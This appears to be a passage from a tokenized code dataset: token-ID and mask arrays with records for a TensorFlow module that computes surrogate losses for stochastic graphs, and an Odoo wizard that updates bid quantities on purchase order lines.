64, 14292, 370, 1937, 3062, 14, 272, 408, 339, 347, 636, 826, 721, 277, 12, 2323, 304, 267, 408, 5483, 282, 4420, 2364, 367, 658, 5306, 773, 64, 370, 1586, 14, 398, 520, 635, 2323, 26, 282, 8809, 14, 2856, 2209, 503, 20439, 1785, 25176, 316, 314, 2323, 267, 408, 267, 291, 423, 2139, 275, 2323, 339, 347, 2256, 8, 277, 304, 267, 372, 291, 423, 2139, 339, 347, 2312, 16946, 83, 8, 277, 12, 536, 304, 267, 291, 423, 2139, 14, 19958, 83, 8, 354, 9, 421, 199, 318, 5536, 63, 7792, 63, 475, 63, 7338, 8, 7338, 12, 1056, 12, 1177, 304, 272, 408, 12147, 314, 10049, 687, 314, 1177, 1901, 282, 25143, 14, 339, 520, 635, 16290, 26, 26234, 14, 21315, 334, 1397, 20513, 282, 20260, 21315, 9, 272, 520, 635, 1056, 26, 4154, 5705, 4145, 14, 2017, 909, 272, 520, 635, 1177, 26, 4011, 19, 14, 27068, 909, 272, 408, 272, 340, 440, 334, 11161, 8, 1310, 12, 2513, 5043, 63, 1310, 358, 436, 288, 1177, 423, 5043, 63, 1310, 304, 267, 372, 272, 327, 314, 485, 5043, 63, 1310, 901, 365, 314, 8072, 8809, 14, 27068, 909, 12, 272, 2648, 275, 4420, 2017, 8, 1069, 9, 272, 327, 10299, 734, 314, 3101, 2209, 543, 314, 2323, 436, 5324, 652, 315, 314, 1683, 26, 272, 522, 275, 4420, 2364, 8, 1310, 423, 5043, 63, 1310, 14, 1328, 9, 272, 16290, 14, 5005, 63, 7792, 8, 470, 12, 2648, 9, 421, 199, 318, 664, 63, 5306, 63, 1291, 8, 7338, 12, 1056, 304, 272, 408, 24391, 376, 5827, 14798, 1406, 1059, 370, 506, 4847, 543, 658, 1069, 3559, 503, 488, 1041, 272, 519, 275, 4420, 2017, 8, 1069, 9, 272, 16290, 14, 525, 63, 5306, 63, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
jjas0nn/solvem
tensorflow/lib/python2.7/site-packages/tensorflow/contrib/bayesflow/python/ops/stochastic_graph.py
6
6355
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Support for Stochastic Computation Graphs. See the ${@python/contrib.bayesflow.stochastic_graph} guide. @@surrogate_loss """ from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections from tensorflow.contrib.bayesflow.python.ops import stochastic_tensor from tensorflow.python.framework import ops from tensorflow.python.ops import array_ops from tensorflow.python.ops import math_ops from tensorflow.python.platform import tf_logging as logging def _upstream_stochastic_nodes(tensors): """Map tensors to the stochastic tensors upstream of them. Args: tensors: a list of Tensors. Returns: A dict that maps the tensors passed in to the `StochasticTensor` objects upstream of them. """ reverse_map = _stochastic_dependencies_map(tensors) upstream = collections.defaultdict(set) for st, ts in reverse_map.items(): for t in ts: upstream[t].add(st) return upstream def _stochastic_dependencies_map(fixed_losses, stochastic_tensors=None): """Map stochastic tensors to the fixed losses that depend on them. Args: fixed_losses: a list of `Tensor`s. stochastic_tensors: a list of `StochasticTensor`s to map to fixed losses. If `None`, all `StochasticTensor`s in the graph will be used. Returns: A dict `dependencies` that maps `StochasticTensor` objects to subsets of `fixed_losses`. If `loss in dependencies[st]`, for some `loss` in `fixed_losses` then there is a direct path from `st.value()` to `loss` in the graph. """ stoch_value_collection = stochastic_tensors or ops.get_collection( stochastic_tensor.STOCHASTIC_TENSOR_COLLECTION) if not stoch_value_collection: return {} stoch_value_map = dict( (node.value(), node) for node in stoch_value_collection) # Step backwards through the graph to see which surrogate losses correspond # to which fixed_losses. # # TODO(ebrevdo): Ensure that fixed_losses and stochastic values are in the # same frame. stoch_dependencies_map = collections.defaultdict(set) for loss in fixed_losses: boundary = set([loss]) while boundary: edge = boundary.pop() edge_stoch_node = stoch_value_map.get(edge, None) if edge_stoch_node: stoch_dependencies_map[edge_stoch_node].add(loss) boundary.update(edge.op.inputs) return stoch_dependencies_map def surrogate_loss(sample_losses, stochastic_tensors=None, name="SurrogateLoss"): """Surrogate loss for stochastic graphs. This function will call `loss_fn` on each `StochasticTensor` upstream of `sample_losses`, passing the losses that it influenced. Note that currently `surrogate_loss` does not work with `StochasticTensor`s instantiated in `while_loop`s or other control structures. Args: sample_losses: a list or tuple of final losses. Each loss should be per example in the batch (and possibly per sample); that is, it should have dimensionality of 1 or greater. All losses should have the same shape. stochastic_tensors: a list of `StochasticTensor`s to add loss terms for. If None, defaults to all `StochasticTensor`s in the graph upstream of the `Tensor`s in `sample_losses`. name: the name with which to prepend created ops. Returns: `Tensor` loss, which is the sum of `sample_losses` and the `loss_fn`s returned by the `StochasticTensor`s. Raises: TypeError: if `sample_losses` is not a list or tuple, or if its elements are not `Tensor`s. ValueError: if any loss in `sample_losses` does not have dimensionality 1 or greater. """ with ops.name_scope(name, values=sample_losses): if not isinstance(sample_losses, (list, tuple)): raise TypeError("sample_losses must be a list or tuple") for loss in sample_losses: if not isinstance(loss, ops.Tensor): raise TypeError("loss is not a Tensor: %s" % loss) ndims = loss.get_shape().ndims if not (ndims is not None and ndims >= 1): raise ValueError("loss must have dimensionality 1 or greater: %s" % loss) stoch_dependencies_map = _stochastic_dependencies_map( sample_losses, stochastic_tensors=stochastic_tensors) if not stoch_dependencies_map: logging.warn( "No collection of Stochastic Tensors found for current graph.") return math_ops.add_n(sample_losses) # Iterate through all of the stochastic dependencies, adding # surrogate terms where necessary. sample_losses = [ops.convert_to_tensor(loss) for loss in sample_losses] loss_terms = sample_losses for (stoch_node, dependent_losses) in stoch_dependencies_map.items(): dependent_losses = list(dependent_losses) logging.info("Losses influenced by StochasticTensor %s: [%s]", stoch_node.name, ", ".join( [loss.name for loss in dependent_losses])) # Sum up the downstream losses for this ST influenced_loss = _add_n_or_sum(dependent_losses) # Compute surrogate loss term loss_term = stoch_node.loss(array_ops.stop_gradient(influenced_loss)) if loss_term is not None: loss_terms.append(loss_term) return _add_n_or_sum(loss_terms) def _add_n_or_sum(terms): # add_n works for Tensors of the same dtype and shape shape = terms[0].get_shape() dtype = terms[0].dtype if all(term.get_shape().is_fully_defined() and term.get_shape().is_compatible_with(shape) and term.dtype == dtype for term in terms): return math_ops.add_n(terms) else: return sum(terms)
mit
[ 3, 1898, 7800, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 11532, 367, 9785, 21913, 3599, 10326, 11513, 83, 14, 199, 199, 9295, 314, 10839, 32, 1548, 15, 2828, 14, 19558, 397, 1659, 14, 14308, 21913, 63, 2180, 93, 22885, 14, 199, 199, 7492, 16380, 63, 4358, 199, 624, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 5055, 199, 199, 504, 3228, 14, 2828, 14, 19558, 397, 1659, 14, 1548, 14, 1483, 492, 26123, 21913, 63, 3128, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 3246, 492, 2833, 63, 4806, 465, 2050, 421, 199, 318, 485, 20099, 63, 14308, 21913, 63, 2415, 8, 10206, 304, 523, 408, 2956, 10519, 370, 314, 26123, 21913, 10519, 18932, 402, 3062, 14, 819, 3033, 26, 272, 10519, 26, 282, 769, 402, 28373, 14, 819, 1803, 26, 272, 437, 1211, 626, 9033, 314, 10519, 3032, 315, 370, 314, 658, 4759, 21913, 3861, 64, 2251, 272, 18932, 402, 3062, 14, 523, 408, 523, 3837, 63, 1130, 275, 485, 14308, 21913, 63, 5714, 63, 1130, 8, 10206, 9, 523, 18932, 275, 5055, 14, 21501, 8, 409, 9, 523, 367, 410, 12, 6714, 315, 3837, 63, 1130, 14, 1744, 837, 272, 367, 307, 315, 6714, 26, 489, 18932, 59, 84, 1055, 525, 8, 270, 9, 523, 372, 18932, 421, 199, 318, 485, 14308, 21913, 63, 5714, 63, 1130, 8, 5964, 63, 17865, 12, 26123, 21913, 63, 10206, 29, 403, 304, 523, 408, 2956, 26123, 21913, 10519, 370, 314, 6317, 21289, 626, 11687, 641, 3062, 14, 819, 3033, 26, 272, 6317, 63, 17865, 26, 282, 769, 402, 658, 3861, 64, 83, 14, 272, 26123, 21913, 63, 10206, 26, 282, 769, 402, 658, 4759, 21913, 3861, 64, 83, 370, 2341, 370, 6317, 21289, 14, 489, 982, 658, 403, 3559, 1006, 658, 4759, 21913, 3861, 64, 83, 315, 314, 3343, 911, 506, 1202, 14, 819, 1803, 26, 272, 437, 1211, 658, 5714, 64, 626, 9033, 658, 4759, 21913, 3861, 64, 2251, 370, 30767, 402, 272, 658, 5964, 63, 17865, 2313, 339, 982, 658, 4358, 315, 5124, 59, 270, 61, 3559, 367, 2005, 658, 4358, 64, 315, 658, 5964, 63, 17865, 64, 2066, 2337, 272, 365, 282, 4125, 931, 687, 658, 270, 14, 585, 11995, 370, 658, 4358, 64, 315, 314, 3343, 14, 523, 408, 523, 26123, 335, 63, 585, 63, 3627, 275, 26123, 21913, 63, 10206, 503, 4156, 14, 362, 63, 3627, 8, 489, 26123, 21913, 63, 3128, 14, 21739, 1244, 11307, 948, 63, 52, 17850, 63, 29374, 9, 819, 340, 440, 26123, 335, 63, 585, 63, 3627, 26, 272, 372, 1052, 819, 26123, 335, 63, 585, 63, 1130, 275, 1211, 8, 489, 334, 932, 14, 585, 1062, 1031, 9, 367, 1031, 315, 26123, 335, 63, 585, 63, 3627, 9, 819, 327, 13382, 8552, 4012, 314, 3343, 370, 1937, 1314, 6296, 13095, 21289, 17118, 523, 327, 370, 1314, 6317, 63, 17865, 14, 523, 327, 523, 327, 3254, 8, 2871, 4964, 1117, 304, 7523, 626, 6317, 63, 17865, 436, 26123, 21913, 1338, 787, 315, 314, 523, 327, 2011, 2787, 14, 523, 26123, 335, 63, 5714, 63, 1130, 275, 5055, 14, 21501, 8, 409, 9, 523, 367, 5621, 315, 6317, 63, 17865, 26, 272, 8424, 275, 663, 779, 4358, 566, 272, 1830, 8424, 26, 489, 6275, 275, 8424, 14, 1935, 342, 489, 6275, 63, 14308, 335, 63, 932, 275, 26123, 335, 63, 585, 63, 1130, 14, 362, 8, 5173, 12, 488, 9, 489, 340, 6275, 63, 14308, 335, 63, 932, 26, 267, 26123, 335, 63, 5714, 63, 1130, 59, 5173, 63, 14308, 335, 63, 932, 1055, 525, 8, 4358, 9, 489, 8424, 14, 873, 8, 5173, 14, 411, 14, 3711, 9, 819, 372, 26123, 335, 63, 5714, 63, 1130, 421, 199, 318, 6296, 13095, 63, 4358, 8, 3271, 63, 17865, 12, 673, 26123, 21913, 63, 10206, 29, 403, 12, 673, 536, 628, 11762, 13095, 8610, 2349, 523, 408, 11762, 13095, 5621, 367, 26123, 21913, 18312, 14, 819, 961, 805, 911, 1240, 658, 4358, 63, 2324, 64, 641, 1924, 658, 4759, 21913, 3861, 64, 523, 18932, 402, 658, 3271, 63, 17865, 3559, 9476, 314, 21289, 626, 652, 315, 24585, 68, 14, 819, 3390, 626, 5544, 658, 16380, 63, 4358, 64, 1630, 440, 1736, 543, 658, 4759, 21913, 3861, 64, 83, 523, 17544, 315, 658, 6710, 63, 3813, 64, 83, 503, 1163, 3304, 13955, 14, 819, 3033, 26, 272, 2690, 63, 17865, 26, 282, 769, 503, 2008, 402, 4242, 21289, 14, 7048, 5621, 1077, 506, 1126, 489, 2893, 315, 314, 3522, 334, 460, 12570, 1126, 2690, 2736, 626, 365, 12, 652, 1077, 1172, 489, 6240, 6712, 402, 413, 503, 8932, 14, 2900, 21289, 1077, 1172, 314, 2011, 2215, 14, 272, 26123, 21913, 63, 10206, 26, 282, 769, 402, 658, 4759, 21913, 3861, 64, 83, 370, 1050, 5621, 2895, 367, 14, 489, 982, 488, 12, 4243, 370, 1006, 658, 4759, 21913, 3861, 64, 83, 315, 314, 3343, 18932, 402, 489, 314, 658, 3861, 64, 83, 315, 658, 3271, 63, 17865, 2313, 272, 536, 26, 314, 536, 543, 1314, 370, 18213, 2737, 4156, 14, 819, 1803, 26, 272, 658, 3861, 64, 5621, 12, 1314, 365 ]
[ 1898, 7800, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 11532, 367, 9785, 21913, 3599, 10326, 11513, 83, 14, 199, 199, 9295, 314, 10839, 32, 1548, 15, 2828, 14, 19558, 397, 1659, 14, 14308, 21913, 63, 2180, 93, 22885, 14, 199, 199, 7492, 16380, 63, 4358, 199, 624, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 5055, 199, 199, 504, 3228, 14, 2828, 14, 19558, 397, 1659, 14, 1548, 14, 1483, 492, 26123, 21913, 63, 3128, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 3246, 492, 2833, 63, 4806, 465, 2050, 421, 199, 318, 485, 20099, 63, 14308, 21913, 63, 2415, 8, 10206, 304, 523, 408, 2956, 10519, 370, 314, 26123, 21913, 10519, 18932, 402, 3062, 14, 819, 3033, 26, 272, 10519, 26, 282, 769, 402, 28373, 14, 819, 1803, 26, 272, 437, 1211, 626, 9033, 314, 10519, 3032, 315, 370, 314, 658, 4759, 21913, 3861, 64, 2251, 272, 18932, 402, 3062, 14, 523, 408, 523, 3837, 63, 1130, 275, 485, 14308, 21913, 63, 5714, 63, 1130, 8, 10206, 9, 523, 18932, 275, 5055, 14, 21501, 8, 409, 9, 523, 367, 410, 12, 6714, 315, 3837, 63, 1130, 14, 1744, 837, 272, 367, 307, 315, 6714, 26, 489, 18932, 59, 84, 1055, 525, 8, 270, 9, 523, 372, 18932, 421, 199, 318, 485, 14308, 21913, 63, 5714, 63, 1130, 8, 5964, 63, 17865, 12, 26123, 21913, 63, 10206, 29, 403, 304, 523, 408, 2956, 26123, 21913, 10519, 370, 314, 6317, 21289, 626, 11687, 641, 3062, 14, 819, 3033, 26, 272, 6317, 63, 17865, 26, 282, 769, 402, 658, 3861, 64, 83, 14, 272, 26123, 21913, 63, 10206, 26, 282, 769, 402, 658, 4759, 21913, 3861, 64, 83, 370, 2341, 370, 6317, 21289, 14, 489, 982, 658, 403, 3559, 1006, 658, 4759, 21913, 3861, 64, 83, 315, 314, 3343, 911, 506, 1202, 14, 819, 1803, 26, 272, 437, 1211, 658, 5714, 64, 626, 9033, 658, 4759, 21913, 3861, 64, 2251, 370, 30767, 402, 272, 658, 5964, 63, 17865, 2313, 339, 982, 658, 4358, 315, 5124, 59, 270, 61, 3559, 367, 2005, 658, 4358, 64, 315, 658, 5964, 63, 17865, 64, 2066, 2337, 272, 365, 282, 4125, 931, 687, 658, 270, 14, 585, 11995, 370, 658, 4358, 64, 315, 314, 3343, 14, 523, 408, 523, 26123, 335, 63, 585, 63, 3627, 275, 26123, 21913, 63, 10206, 503, 4156, 14, 362, 63, 3627, 8, 489, 26123, 21913, 63, 3128, 14, 21739, 1244, 11307, 948, 63, 52, 17850, 63, 29374, 9, 819, 340, 440, 26123, 335, 63, 585, 63, 3627, 26, 272, 372, 1052, 819, 26123, 335, 63, 585, 63, 1130, 275, 1211, 8, 489, 334, 932, 14, 585, 1062, 1031, 9, 367, 1031, 315, 26123, 335, 63, 585, 63, 3627, 9, 819, 327, 13382, 8552, 4012, 314, 3343, 370, 1937, 1314, 6296, 13095, 21289, 17118, 523, 327, 370, 1314, 6317, 63, 17865, 14, 523, 327, 523, 327, 3254, 8, 2871, 4964, 1117, 304, 7523, 626, 6317, 63, 17865, 436, 26123, 21913, 1338, 787, 315, 314, 523, 327, 2011, 2787, 14, 523, 26123, 335, 63, 5714, 63, 1130, 275, 5055, 14, 21501, 8, 409, 9, 523, 367, 5621, 315, 6317, 63, 17865, 26, 272, 8424, 275, 663, 779, 4358, 566, 272, 1830, 8424, 26, 489, 6275, 275, 8424, 14, 1935, 342, 489, 6275, 63, 14308, 335, 63, 932, 275, 26123, 335, 63, 585, 63, 1130, 14, 362, 8, 5173, 12, 488, 9, 489, 340, 6275, 63, 14308, 335, 63, 932, 26, 267, 26123, 335, 63, 5714, 63, 1130, 59, 5173, 63, 14308, 335, 63, 932, 1055, 525, 8, 4358, 9, 489, 8424, 14, 873, 8, 5173, 14, 411, 14, 3711, 9, 819, 372, 26123, 335, 63, 5714, 63, 1130, 421, 199, 318, 6296, 13095, 63, 4358, 8, 3271, 63, 17865, 12, 673, 26123, 21913, 63, 10206, 29, 403, 12, 673, 536, 628, 11762, 13095, 8610, 2349, 523, 408, 11762, 13095, 5621, 367, 26123, 21913, 18312, 14, 819, 961, 805, 911, 1240, 658, 4358, 63, 2324, 64, 641, 1924, 658, 4759, 21913, 3861, 64, 523, 18932, 402, 658, 3271, 63, 17865, 3559, 9476, 314, 21289, 626, 652, 315, 24585, 68, 14, 819, 3390, 626, 5544, 658, 16380, 63, 4358, 64, 1630, 440, 1736, 543, 658, 4759, 21913, 3861, 64, 83, 523, 17544, 315, 658, 6710, 63, 3813, 64, 83, 503, 1163, 3304, 13955, 14, 819, 3033, 26, 272, 2690, 63, 17865, 26, 282, 769, 503, 2008, 402, 4242, 21289, 14, 7048, 5621, 1077, 506, 1126, 489, 2893, 315, 314, 3522, 334, 460, 12570, 1126, 2690, 2736, 626, 365, 12, 652, 1077, 1172, 489, 6240, 6712, 402, 413, 503, 8932, 14, 2900, 21289, 1077, 1172, 314, 2011, 2215, 14, 272, 26123, 21913, 63, 10206, 26, 282, 769, 402, 658, 4759, 21913, 3861, 64, 83, 370, 1050, 5621, 2895, 367, 14, 489, 982, 488, 12, 4243, 370, 1006, 658, 4759, 21913, 3861, 64, 83, 315, 314, 3343, 18932, 402, 489, 314, 658, 3861, 64, 83, 315, 658, 3271, 63, 17865, 2313, 272, 536, 26, 314, 536, 543, 1314, 370, 18213, 2737, 4156, 14, 819, 1803, 26, 272, 658, 3861, 64, 5621, 12, 1314, 365, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
rowemoore/odoo
addons/purchase_requisition/wizard/bid_line_qty.py
374
1711
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## from openerp.osv import fields, osv import openerp.addons.decimal_precision as dp class bid_line_qty(osv.osv_memory): _name = "bid.line.qty" _description = "Change Bid line quantity" _columns = { 'qty': fields.float('Quantity', digits_compute=dp.get_precision('Product Unit of Measure'), required=True), } def change_qty(self, cr, uid, ids, context=None): active_ids = context and context.get('active_ids', []) data = self.browse(cr, uid, ids, context=context)[0] self.pool.get('purchase.order.line').write(cr, uid, active_ids, {'quantity_bid': data.qty}) return {'type': 'ir.actions.act_window_close'} # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 504, 5166, 14, 4795, 492, 1504, 12, 9506, 199, 646, 5166, 14, 10788, 14, 6355, 63, 6833, 465, 12392, 199, 199, 533, 330, 344, 63, 604, 63, 5643, 8, 4795, 14, 4795, 63, 4844, 304, 272, 485, 354, 275, 298, 17949, 14, 604, 14, 5643, 2, 272, 485, 1802, 275, 298, 4001, 699, 344, 1004, 12524, 2, 272, 485, 3406, 275, 469, 267, 283, 5643, 356, 1504, 14, 1609, 360, 19703, 297, 7576, 63, 3357, 29, 5780, 14, 362, 63, 6833, 360, 5884, 12008, 402, 22933, 659, 1415, 29, 549, 395, 272, 789, 339, 347, 1570, 63, 5643, 8, 277, 12, 2467, 12, 1747, 12, 2762, 12, 1067, 29, 403, 304, 267, 4702, 63, 1580, 275, 1067, 436, 1067, 14, 362, 360, 2682, 63, 1580, 297, 3073, 267, 666, 275, 291, 14, 4570, 8, 1556, 12, 1747, 12, 2762, 12, 1067, 29, 1100, 2788, 16, 61, 267, 291, 14, 2293, 14, 362, 360, 9533, 14, 1648, 14, 604, 1959, 952, 8, 1556, 12, 1747, 12, 4702, 63, 1580, 12, 791, 10577, 63, 17949, 356, 666, 14, 5643, 1552, 267, 372, 791, 466, 356, 283, 723, 14, 3723, 14, 2442, 63, 3806, 63, 1600, 936, 199, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 